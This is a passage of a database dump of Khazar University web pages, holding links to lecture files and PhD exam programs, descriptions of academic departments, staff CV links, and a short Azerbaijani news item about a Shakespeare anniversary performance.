Text</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/HSP%20Lecture%2011.pdf\">Lecture 11 Presentation</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/PhD-Lecture-11.pdf\">Lecture 11 Text</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/HSP%20Lecture%2012.pdf\">Lecture 12 Presentation</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/PhD-Lecture-12.pdf\">Lecture 12 Text</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/HSP%20Lecture%2013.pdf\">Lecture 13 Presentation</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/PhD-Lecture-13.pdf\">Lecture 13 Text</a></p>\r\n<div><strong><br></strong></div><p><strong style=\"font-size:large\">Prof.&nbsp;Mahammad Nuriyev&nbsp;“Data Analysis, Modeling\r\nand Decision Making”&nbsp;</strong><strong></strong></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/Lecture1-Introduction.pptx\">Lecture 1</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/Lecture2-Summary_Measures.pptx\">Lecture 2</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/Lecture3-ppt.pptx\">Lecture 3</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/Quality%20ManagementShortened.ppt\">Lecture 4</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/ForecastingPpt.ppt\">Lecture 5</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/simple_lin_regress_inference.ppt\">Lecture 6</a></p><p><br></p>\r\n<p><strong>Eldar Şahgəldiyev</strong>  <br></p><p><a href=\"http://www.khazar.org/files/philosophy_depart/Lecture%201.doc\">Lecture 1</a></p><p><a href=\"http://www.khazar.org/files/philosophy_depart/Lecture%202.doc\">Lecture 2</a></p><p><a href=\"http://www.khazar.org/files/philosophy_depart/Lecture%203.doc\">Lecture 3</a></p><p><a href=\"http://www.khazar.org/files/philosophy_depart/Lecture%204.doc\">Lecture 4</a></p><p><a href=\"http://www.khazar.org/files/philosophy_depart/Lecture%205.doc\">Lecture 5</a></p><p><a href=\"http://www.khazar.org/files/philosophy_depart/Lecture%206.doc\">Lecture 6</a></p><p><a href=\"http://www.khazar.org/files/philosophy_depart/Lecture%207.doc\">Lecture 7</a></p><p><a href=\"http://www.khazar.org/files/philosophy_depart/Lecture%208.doc\">Lecture 8</a></p><p><a href=\"http://www.khazar.org/files/philosophy_depart/Lecture%209.doc\">Lecture 9</a></p><p><a href=\"http://www.khazar.org/files/philosophy_depart/Lecture%2010.doc\">Lecture 10</a></p><p><a href=\"http://www.khazar.org/files/philosophy_depart/Lecture%2011.docx\">Lecture 11</a></p>'),(114,122,'en','PhD Syllabi','PhD Syllabi',''),(115,123,'en','Current Students','Current Students','<p><a href=\"http://www.khazar.org/files/master/UPDATED-DOKTORANTLAR-FINAL-2017-Sep..docx\">Khazar University PhD students-October 2017</a></p>'),(116,124,'en','PhD Programs and Admission','PhD Programs and Admission','<h3>Major exam programs</h3><br>\r\n<p><a href=\"http://www.khazar.org/files/master/NewFolder%201/Analysis%20and%20functional%20analysis%202018-2019.doc\">1202.01 Analysis and functional analysis<br></a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/Computer%20sciences%202018-2019.doc\">1203.01 Computer sciences</a><br></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/Differential%20equations%202018-2019.docx\">1211.01 Differential equations</a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/Biochemistry%202018-2019.docx\">2406.02&nbsp;Biochemistry</a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/Molecular%20biology%202018-2019.doc\">2415.01 Molecular biology</a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/Molecular%20genetics%202018-2019.docx\">2423.01 Molecular genetics</a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/Exploration%20and%20geology%20of%20oil%20and%20gas%20fields%202018-2019.docx\">2521.01&nbsp;Exploration and geology of oil and gas fields<br></a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/Development%20and%20exploitation%20of%20oil%20and%20gas%20fields%202018-2019.docx\">2525.01 Development and exploitation of oil and gas fields<br></a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/Construction%20materials%20and%20products%202018-2019.doc\">3305.07 Construction materials and products</a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/Systematic%20analysis%2C%20management%20and%20information%20processing%202018-2019.doc\">3338.01 Systematic analysis, management and information processing  <br></a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/Internal%20fiscal%20policy%20and%20state%20finance%202018-2019.docx\">5301.01&nbsp;Internal fiscal policy and state finance  </a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/General%20economics%202018-2019.doc\">5308.01 General economics</a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/World%20economics%202018-2019.docx\">5310.01 World economics</a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/Organization%20and%20management%20of%20enterprises%202018-2019.doc\">5311.01 Organization&nbsp;and management of enterprises<br></a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/Hydrology%202018-2019.docx\">5406.01 Hydrology<br></a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/General%20history%202018-2019.docx\">5502.01 General history</a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/History%20of%20%20Country%202018-2019.docx\">5503.02 History of country</a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/Germanic%20languages%202018-2019.doc\">5708.01 Germanic languages<br></a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/Comparative-historical%20and%20comparative-typological%20linguistics%202018-2019.docx\">5714.01&nbsp;Comparative-historical and comparative-typological linguistics</a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/Azerbaijani%20literature%202018-2019.doc\">5716.01 Azerbaijani&nbsp;literature<br></a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/World%20literature%202018-2019.docx\">5718.01 World literature</a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/Theory%20and%20methodology%20of%20training%20and%20upbringing%202018-2019.docx\">5801.01&nbsp;Theory and methodology of training and upbringing  </a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/Education%20planning%20and%20administration%202018-2019.docx\">5802.01  Education planning and administration<br></a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/General%20pedagogy%20and%20history%20of%20education%202018-2019.doc\">5804.01 General pedagogy&nbsp;and history of education<br></a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/International%20relations%202018-2019.doc\">5901.01  International relations<br></a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/Political%20theory%202018-2019.doc\">5908.01 Political theory</a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/General%20psychology2018-2019.doc\">6107.01 General psychology</a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/Social%20philosophy%202018-2019.docx\">7202.01 Social philosophy<br></a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder%201/History%20of%20philosophy%202018-2019.doc\">7210.01 History of philosophy</a></p>  <h4><br></h4><h3>Additional Programs&nbsp;</h3><p><a href=\"http://www.khazar.org/files/master/Foreign%20language_(Engllish)%202018-2019.doc\">English<br></a></p><p><a href=\"http://www.khazar.org/files/master/German_Language_2018-2019.docx\">German</a></p><a href=\"http://www.khazar.org/files/master/German_Language_2018-2019.docx\"></a><p><a href=\"http://www.khazar.org/files/master/General%20philosophy%202018-2019.doc\">Philosophy</a></p>'),(1822,1127,'az','“Dünya” məktəbi Şekspirin vəfatının 400 illiyini qeyd etdi','2016-cı il mayın 6-da “Dünya” məktəbində görkəmli ingilis dramaturqu Vilyam Şekspirin vəfatının 400 illiyi münasibətilə tamaşa nümayiş olundu.','<p>2016-cı il\r\nmayın 6-da “Dünya” məktəbində görkəmli ingilis dramaturqu Vilyam Şekspirin vəfatının\r\n400 illiyi münasibətilə tamaşa nümayiş olundu.</p>\r\n<p>“Dünya” məktəbinin\r\nmüəllim və şagird kollektivinin iştirakı ilə hazırlanan tamaşada respublikanın xalq\r\nartisti Alim Qasımov və əməkdar artist Fərqanə Qasımova iştirak edirdilər.<br>\r\nTamaşa Şərq və Qərb düşüncə tərzindəki oxşar və fərqli cəhətlər, rəmzlər,\r\ninsan, cəmiyyət, eşq, azadlıq, mənəvi dəyərlər üzərində qurulmuşdu. Şekspir\r\nfonunda Şərq ədəbiyyatının, poeziyasının tanınmış nümayəndələrinin\r\nyaradıcılığına müraciətlər olunur, mahiyyəti etibarilə eyni məzmun daşıyan əsərlərin\r\nqəhrəmanlarının yaşantıları əlaqələndirilirdi.</p>\r\n<p>Tədbirdə millət\r\nvəkili, akademik, AMEA-nın vitse prezidenti, Nizami adına Ədəbiyyat İnstitutunun\r\ndirektoru İsa Həbibbəyli, Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı, filologiya üzrə elmlər doktoru,\r\nprofessor, AMEA-nın Nizami adına Ədəbiyyat İnstitutunun şöbə müdiri Asif Rüstəmli,\r\nşair Ramiz Rövşən, rejissor Ramiz Həsənoğlu, respublikanın ədəbi ictimaiyyətinin\r\nnümayəndələri, millət vəkilləri, media mənsubları iştirak edirdilər.​</p>'),(117,125,'en','Additional Resources','Additional Resources','<p><strong><a href=\"http://crrc.az/upload/Beledci%20Son_22.08.14.pdf\">QTRM-ın Akademik yazı üzrə bələdçisi</a>&nbsp;</strong></p><p><a href=\"http://www.khazar.org/files/Elmi-pedaqoji%20kadrlar%C4%B1n%20haz%C4%B1rlanmas%C4%B1.docx\"><strong>Elmi-pedaqoji kadrların hazırlanması</strong></a></p><p><a href=\"http://graduate-school.phds.org/education-index\" target=\"_blank\"><strong>Graduate-School.PhDs.org/education-index</strong></a></p>'),(118,126,'en','Teaching Staff','Teaching Staff','<p><strong><a href=\"http://www.khazar.org/files/master/Hamlet%20Isaxanli%20short%20CV%20(eng)%20Feb%202016.doc\">Professor Hamlet&nbsp;Isakhanli</a> </strong></p><p><strong><a href=\"http://www.khazar.org/files/master/Hamlet%20Isaxanli%20short%20CV%20(eng)%20Feb%202016.doc\" style=\"font-size:medium\"></a><a href=\"http://www.khazar.org/files/master/Mahammad_Nuriyev_CV.pdf\">Professor Mahammad Nuriyev</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/master/Mahammad_Nuriyev_CV.pdf\"></a><a href=\"http://www.khazar.org/files/master/CV%20-PHD-%20Eldar%20Shahgaldiyev%20last%20version.doc\">Dr.&nbsp;Eldar Shahgaldiyev</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/master/Jala%20Garibova_CV.doc\"></a><a href=\"http://www.khazar.org/files/master/CVGaniyeva2014.pdf\">Dr.&nbsp;Lala&nbsp;Ganiyeva</a></strong></p><p><a href=\"http://www.khazar.org/files/master/Vafa_Aslanova.pdf\"><strong>Vafa Aslanova</strong></a></p><p><a href=\"http://www.khazar.org/files/master/Eynur%20Mehdiyev%20CV.pdf\"><strong>Eynur Mehdiyev</strong></a></p>'),(119,127,'en','Azerbaijani Language and Literature','Azerbaijani Language and Literature','<p>The main goal of the Department of Azerbaijan Language and Literature of Khazar University is to teach the Azerbaijani language as well as Azerbaijani and world literature for all the schools of Khazar University and prepare specialists with bachelor\'s, master\'s and doctoral degrees in this field.</p><p>Azerbaijani language and literature are taught as compulsory and core subjects at the Schools of Engineering and Applied Sciences, Humanities and Social Sciences, Economics and Management, and to students majoring in Elementary Education, Mathematics and Informatics Education, and Chemistry and Biology Education of the School of Education. The Department gives priority to more general content and introductory teaching of Azerbaijani language and literature subjects in the above-mentioned schools.</p><p>The objective of the Department of Education for the Bachelor’s Program in Azerbaijani Language and Literature Education is&nbsp;to teach students all the stages and periods, sections and fields of Azerbaijan language and literature (including World literature) with theoretical and practical methods in order to prepare&nbsp;high-quality, professional teachers.</p><p>The purpose of the Department of Education for the Bachelor’s Program in Azerbaijani Language and Literature (Philology)&nbsp;is to teach a wide range of modern grammatical structure and other aspects of the Azerbaijani language, as well as to provide information about linguistics and the history of literary language,&nbsp;to carry out studies in Azerbaijani literature (including World Literature) in chronological order, to teach the life and activity of writers and poets who lived in different periods, and to provide preliminary theoretical information.&nbsp;</p><p>The main goal of the Department is to teach specific issues of the study of language and literature deeply, to increase theoretical training, and to develop students’ ability to work on texts, including analysis and application.</p><p>One of the main activities of the Department is also to prepare PhD students, including directing them toward research work on various problems of language and literature. The Department also conducts research on various fields of language and literature, is engaged in preparation of teaching materials for students, holds scientific seminars and discussions, organizes conferences and symposiums, and encourages students\' involvement in research activities.</p><p>An important part of the Department’s activity plan is taking an active role in the social life of the university departments; organizing discussions of literature, poetry nights, and reading competitions; and to planning student activities and the university events.</p>'),(120,128,'en','Biomedical Engineering','Biomedical Engineering','<p style=\"text-align:justify\">This modern\r\nscience industry provides applied research, and solves the problems of the\r\nestablishment of specialized electronic tools for processing and modeling of\r\nbiosignals. Biomedical Engineering relates to the field of technology and\r\nscientific knowledge, including a set of tools, techniques and methods of human\r\nactivity aimed at: participation in organizing and conducting diagnostic\r\nstudies and therapeutic procedures with the use of tools and hardware and\r\nsoftware; types of medical equipment service, systems and complexes, as well as\r\ntechnical means of biological laboratories; processing of biomedical\r\ninformation, the establishment and operation of medical databases, the use of\r\nmodern software packages information support diagnostic and therapeutic processes.</p>\r\n<p style=\"text-align:justify\">Objects of\r\nprofessional work of the bachelor on a direction \"Biomedical\r\nEngineering\" are devices, systems, complexes and major medical technology,\r\nas well as information processing in various fields of biomedical research. It\r\nclosely combines the individual sections of the electrical, chemical,\r\nmechanical and optical engineering, with a common object of activity - the\r\ndevelopment of methods and means of research of living substance.&nbsp;</p>'),(121,129,'en','Biological Sciences','Biological Sciences','<p style=\"text-align: left;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">The Department of Biological Sciences was founded as a part of the Medical School in 1992. In 2010, the Department of Biological Sciences was transferred to the School of Education and started to offer a new undergraduate program in Biology Education.</p><p style=\"text-align: left;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Biological Sciences is an exciting area to study. Our department envisions that only excellence of teaching and high-quality education can develop a scientific and educational community and create critically thinking citizens. As a result, graduates will recognize the essential role of science, and particularly biology, in making significant advances for future generations. &nbsp;&nbsp;</p>\r\n<p style=\"text-align: left;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Our goals are to promote a general understanding of biology and provide curricula that prepare our students for education in biology leading to a Bachelor of Science degree (BS). This curriculum exposes the core fundamental disciplines of biology with different elective courses on topics such as stem cell biology, ecology, radiobiology, biostatistics, immunology, medical biology, and the biology of the central nervous system.</p>\r\n<p style=\"text-align: left;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">We are excited to update you on the establishment of a brand new laboratory for practical classes in biological sciences, where students can also work on their research projects.</p>\r\n<p style=\"text-align: left;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">The Department offers graduate programs leading to a Doctor of Philosophy (Ph.D.) degree in different areas of Biological Sciences, including Molecular Biology, Genetics, and Biochemistry.</p>\r\n<p style=\"text-align: left;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">The Department of Biological Sciences also provides electives to meet the General Education Requirements for courses at other schools within the university.</p>'),(122,130,'en','Chemistry','Chemistry','<p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p>Since 2010 the Department of Chemistry has offered an undergraduate program in&nbsp;Chemistry. The Bachelor Degree Program in Chemistry and Biology Education is an interdepartmental program offered jointly by the Department of Chemistry and the Department of Biology.&nbsp;</p><p>The Department conducts research and delivers courses in the following fields of study:</p><p>· General, Inorganic and Organic Chemistry (Chemistry I)</p><p>· Physical Chemistry (Chemistry II)</p><p>· Oil Chemistry</p><p>· Environmental Chemistry</p><p></p><ul><li><strong><em>Analytical chemistry</em></strong></li><li><strong><em>Colloidal chemistry</em></strong></li><li><strong><em>Polymer chemistry</em></strong></li></ul><p></p><p>Chemistry is also offered as an elective course for the General Education Requirements for students of other schools of the university.</p><p>The department has a laboratory for experimental and research works.</p><p>The department also offers opportunities to combine traditional disciplines with other sciences to explore basic and applied research problems.</p>'),(1905,1171,'en','Article Based on Founder’s Thoughts ','An article was published on the official website of Adalet Newspaper entitled “Paradoxes that Happen on Entrance Examinations.”','<p>An\r\narticle was published on the official website of Adalet Newspaper entitled\r\n“Paradoxes that Happen on Entrance Examinations.” The author of the article\r\nquoted Professor Hamlet Isaxanli, the founder of Khazar University and Chairman\r\nof its Board of Directors and Trustees. </p>\r\n<p>The\r\nfull text of the article is available at the following link: </p>\r\n<p><a href=\"http://www.adalet.az/w99703/Q%C9%99bul_imtahan%C4%B1nda_ba%C5%9F_vermi%C5%9F_paradoksal_hadis%C9%99/\">http://www.adalet.az/w99703/Qəbul_imtahanında_baş_vermiş_paradoksal_hadisə/</a>. </p>\r\n<p>&nbsp;</p>'),(123,131,'en','Civil Engineering','Civil Engineering','<img src=\"http://www.khazar.org/files/image/14_12_26_Picture1.png\" style=\"width:153px;height:198px;margin:7px;float:left\"><p style=\"text-align:justify\"><strong style=\"text-align:justify\"><a href=\"http://www.khazar.org/files/pdf/Rasim_Bayramli_CV.pdf\">Rasim Bayramli</a>&nbsp;- Associate Professor</strong><span style=\"text-align:justify\"></span></p><p style=\"text-align:justify\"><strong>Head of the Department of Civil Engineering</strong></p><p style=\"text-align:justify\">PhD&nbsp;in Civil Engineering (Moscow Asbestos and Cement Scientific Research Institute, Russia)</p><p><br></p><p><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\">The Department of Civil Engineering provides a broadly based undergraduate and graduate education in Civil Engineering. The Department is committed to the study of natural and artificial systems primarily consisting of cities, buildings and industrial products.</p><p style=\"text-align:justify\">Civil engineers are responsible for the design and construction of buildings, highways, pollution and contaminant control systems, water resource systems, etc. They are often responsible for planning, managing, operating and maintaining these facilities. Spurred by general population growth and expanding economy, more civil engineers will be needed to design and construct large buildings and building complexes, higher capacity transportation, water supply and pollution control systems.</p><p style=\"text-align:justify\">Problems pertaining to civil engineering are covered in lectures, practicum and industrial practice where the aim is to link knowledge, methodology, theory and skills within the framework of projects.</p><p style=\"text-align:justify\">The Department offers BS and MS degree programs in Civil Engineering.</p>  <img src=\"/files/image/14_04_29_Design.gif\" style=\"border:0px #000000;width:230px;height:230px;margin-top:7px;margin-right:7px;margin-bottom:7px;float:left\"><img src=\"/files/image/14_04_29_Heydar-Aliev.jpg\" style=\"border:0px  #000000;float:left;width:230px;height:230px;margin:7px\"><img src=\"/files/image/14_04_29_UC-300x300.jpg\" style=\"border:0px  #000000;width:230px;height:230px;margin:7px;vertical-align:baseline\">'),(124,132,'en','Chemical Engineering and Applied Chemistry','Chemical Engineering and Applied Chemistry','<br><p><strong><a href=\"http://www.khazar.org/files/engineering/CV%20-Rasoul%20Moradi.pdf\"><img src=\"/files/engineering/images/Rasoul_Moradi.jpg\" style=\"width:250px;height:210px;margin:7px;float:left\"></a></strong><strong><a href=\"http://www.khazar.org/files/engineering/CV%20Rasoul%20Moradi.pdf\">Rasoul Moradi</a>&nbsp;- Coordinator of Chemical Engineering and Applied&nbsp;Chemistry\r\nDepartment</strong></p><p><strong></strong>PhD&nbsp;in Chemical Engineering (University of Tehran, Iran)&nbsp;</p><p>MS&nbsp;in Chemical Engineering (Sharif University of Technology, Iran)   <br></p><p><br></p><p><br></p><p><br></p><p style=\"text-align:justify\">Chemical Engineering is the field that plays a crucial role\r\nin transforming raw material into useful products-and not just necessities like\r\nfood, water, and clothing, but petroleum, pharmaceuticals, cosmetics,\r\nbiotechnology, electronic materials, nuclear industry, polymers, composites and\r\ncoatings, etc. In addition chemical engineers rapidly meeting new challenges in novel engineering topics such as nanotechnology, biotechnology and\r\nenvironmental protection. Khazar Chemical Engineering Department offers Bachelor of\r\nEngineering, Masters of Science, and PhD degrees in Chemical Engineering, to\r\nprepare students for careers in industry and research, product discovery and\r\ndevelopment, plant design and operation, as well as management.&nbsp;Our Department is committed to fully\r\ndeveloping students’ potential by providing stimulating learning and research\r\nenvironment, exposing students to a diversity of viewpoints and\r\nteaching/learning styles, and preparing students to work in teams to solve\r\nreal-world and multidisciplinary problems.</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><img src=\"/files/engineering/images/industries.jpg\" style=\"width:730px;height:429px;margin:7px 7px 7px 0px;float:left\"></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p><strong></strong></p><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><strong></strong><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\">Chemistry is the study of matter, its properties, how and why substances combine or separate to form other substances, and how substances interact with energy. It is a broad scientific field, and its relevance is seen in almost every aspect of society. Chemistry play a major role in environmental processes, pharmaceutical advances, food industry, forensic science, and modern agriculture as well as in nanotechnology and nanomedicine.&nbsp;</p><p style=\"text-align:justify\">Khazar Chemistry Department offers several Chemistry courses for the students of Chemical Engendering and Education department, to prepare creative and highly knowledgeable students for careers in teaching, academy as well as in industry and research.   <br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><img style=\"width:730px;height:421px;margin:7px 7px 7px 0px;float:left\" src=\"/files/engineering/images/ph_ch.JPG\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p>'),(125,133,'en','Computer Sciences and Computer Engineering','Computer Sciences and Computer Engineering','<p style=\"text-align:justify\">The Department of Computer Science and Computer Engineering  offers flexible and\r\ninnovative undergraduate, graduate and PhD programs in Computer Science and\r\nComputer Engineering.</p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/a.JPG\" style=\"width:600px;height:397px;vertical-align:baseline\"><br></p><p style=\"text-align:justify\"><br></p><h3><strong>What Computer Science is about?</strong></h3><p style=\"text-align:justify\">Computer Science is the study of computers and computational\r\nsystems. Unlike electrical and computer engineers, computer scientists deal\r\nmostly with software and software systems; this includes their theory, design, development,\r\nand application.</p>  <img src=\"/files/engineering/NewFolder/b.png\" style=\"float:left;width:600px;height:244px;vertical-align:baseline\"><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\">Principal areas of study within Computer Science include computer\r\nsystems and networks, security, cryptography, artificial intelligence, database\r\nsystems, human computer interaction, vision and graphics, numerical analysis,\r\nprogramming languages, software engineering, bioinformatics and theory of\r\ncomputing.</p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/c.jpg\" style=\"width:550px;height:250px\"></p><p style=\"text-align:justify\">Although knowing how to program is essential to the study of\r\ncomputer science, it is only one element of the field. Computer scientists\r\ndesign and analyze algorithms to solve programs and study the performance of\r\ncomputer hardware and software.&nbsp;</p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/d.jpg\" style=\"width:601px;height:338px;vertical-align:baseline\"></p><h3>The digital\r\nage needs computer scientists</h3><p style=\"text-align:justify\">Like it or not you\'re living in it – this is the Digital Age.\r\nComputer programs have all but infiltrated every aspect of our lives. Computer\r\nscientists theorize, design, develop, and apply the software and hardware for\r\nthe programs we use day in day out – sounds pretty important to us.</p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/e.jpg\" style=\"width:600px;height:300px;vertical-align:baseline\"></p><h3>Computer\r\nscience students have excellent graduate prospects</h3><p style=\"text-align:justify\">According to the statistics, it is noticeable that computer science\r\nstudents stand a pretty good chance of being professionally employed or in\r\nfurther study within 6 months of leaving university.</p>  <img src=\"/files/engineering/NewFolder/f.jpg\" style=\"width:590px;height:260px;vertical-align:baseline\"><h3>Internationally\r\nDiverse Cohort</h3><p style=\"text-align: justify;\" margin-top:12.0pt;margin-right:0in;margin-bottom:12.0pt;margin-left:0in;text-align:justify\"\"=\"\">Computer science departments at typically\r\nbenefit from having one of the more culturally diverse cohorts at their\r\nrespective unis. According to HESA data nearly 9,000 computer science students\r\ncome from overseas.</p>\r\n<p style=\"text-align: justify;\" margin-top:12.0pt;margin-right:0in;margin-bottom:12.0pt;margin-left:0in;text-align:justify\"\"=\"\">A diverse cohort means you\'ll be exposed to\r\ndifferent cultures and potentially finish university with an international\r\nnetwork of contacts to utilize later in life.&nbsp;</p>  <img src=\"/files/engineering/NewFolder/g.jpg\" style=\"width:598px;height:373px;vertical-align:baseline\"><h3>Computer\r\nscientists are needed in every type of industry</h3>\r\n<p style=\"text-align:justify\">Every industry uses computers so naturally computer scientists can\r\nwork in any. Problems in science, engineering, health care, and so many other\r\nareas can be solved by computers. It\'s up to the computer scientist to figure\r\nout how, and design the software to apply the solution.<strong></strong></p>  <img src=\"/files/engineering/NewFolder/h.jpg\" style=\"width:350px;height:233px;vertical-align:baseline\"><h3><strong>What kinds of careers are open to me with a degree\r\nin Computer Science?</strong></h3><p style=\"text-align:justify\">Many people incorrectly believe that a computer\r\nscience career is all about programming. While it is true that most entry-level\r\njobs after a Bachelor\'s degree involve programming, most practitioners\r\neventually graduate to other responsibilities such as design, coordination,\r\ntesting, planning and management. Thus, you typically start with a software\r\nengineering job after a Bachelor\'s and move on (after about 5 years of\r\nexperience) into higher-level positions. With advanced coursework and a\r\nMaster\'s degree, you can work in an area of specialization that uses your\r\nadvanced coursework. For example, working for an animation outfit such as\r\nDisney will require at least 2 to 3 courses in computer graphics. Finally, a\r\nPhD degree usually finds its recipient in a research environment such as a\r\nresearch lab, research wing of a large corporation or a university.</p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/i.jpg\" style=\"width:600px;height:355px\"><br></p>  <h3><strong>Are there careers in Computer Science that involve\r\npeople-skills, or will I be staring at a screen all day?</strong><span class=\"apple-converted-space\"></span></h3><p style=\"text-align:justify\">Most career paths in computer science involve\r\npeople skills and interacting with people. Beyond an entry-level position as a\r\nsoftware engineer, almost any corporate position requires working with people.\r\nThe creation of software is most often a team effort, and software companies\r\nare organizations of people like any other type of company. Thus, if your\r\ncareer path is typical, you will not be alone in your cubicle staring at the\r\nscreen.</p>  <img src=\"/files/engineering/NewFolder/j.jpg\" style=\"width:600px;height:450px\"><h3><strong>Can Computer Science be combined with other fields\r\nof study</strong>?</h3><ul type=\"disc\">\r\n <li style=\"\" mso-margin-top-alt:auto;margin-right:0in;margin-left:.5in;text-align:justify;line-height:normal;background:white;direction:ltr;unicode-bidi:embed\";margin-bottom:auto\"=\"\">A dual-major with biology can lead to a\r\n     career in bioinformatics.</li>\r\n <li style=\"\" mso-margin-top-alt:auto;margin-right:0in;margin-left:.5in;text-align:justify;line-height:normal;background:white;direction:ltr;unicode-bidi:embed\";margin-bottom:auto\"=\"\">A dual-major with economics will help\r\n     solve problems in economics via computer simulation.</li>\r\n <li style=\"\" mso-margin-top-alt:auto;margin-right:0in;margin-left:.5in;text-align:justify;line-height:normal;background:white;direction:ltr;unicode-bidi:embed\";margin-bottom:auto\"=\"\">A dual-major with political science or\r\n     criminal justice can lead to a career in security and information policy.</li>\r\n <li style=\"\" mso-margin-top-alt:auto;margin-right:0in;margin-left:.5in;text-align:justify;line-height:normal;background:white;direction:ltr;unicode-bidi:embed\";margin-bottom:auto\"=\"\">A dual-major with fine arts has obvious\r\n     implications for a career in animation.</li>\r\n <li style=\"\" mso-margin-top-alt:auto;margin-right:0in;margin-left:.5in;text-align:justify;line-height:normal;background:white;direction:ltr;unicode-bidi:embed\";margin-bottom:auto\"=\"\">A dual-major with business can lead to\r\n     some types of IT (Information Technology) careers.</li>\r\n</ul>  <p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/k.jpg\" style=\"width:600px;height:344px\"><br></p><h3><strong>What does it take to be successful in Computer\r\nScience?</strong></h3>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal;background:white;direction:ltr;unicode-bidi:embed\";margin-bottom:auto\"=\"\">Computer science is about a unique kind of\r\nproblem-solving: creatively solving problems using computation. If you are\r\ncreative, if you like puzzles, if you like problem-solving in other domains (engineering,\r\nmathematics, sciences), if you are comfortable with abstract thinking, if you\r\nlike working at the intersection of multiple disciplines - if any of these\r\napply to you, then Computer Science is for you.</p>  <p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/l.jpg\"><br></p><h3><strong>What are some fields of Computer Science?</strong></h3><p style=\"text-align:justify\"><strong>Computer Networks. </strong>Computer networking is the connecting of two or more\r\ncomputers that allows them to share resources. It can be done between computers\r\nin a home, in a business, across a corporation, and even internationally. The\r\nInternet is the largest example of computer networking because it involves\r\nthousands of networks of computers that share information.</p>  <img src=\"/files/engineering/NewFolder/m.jpg\" 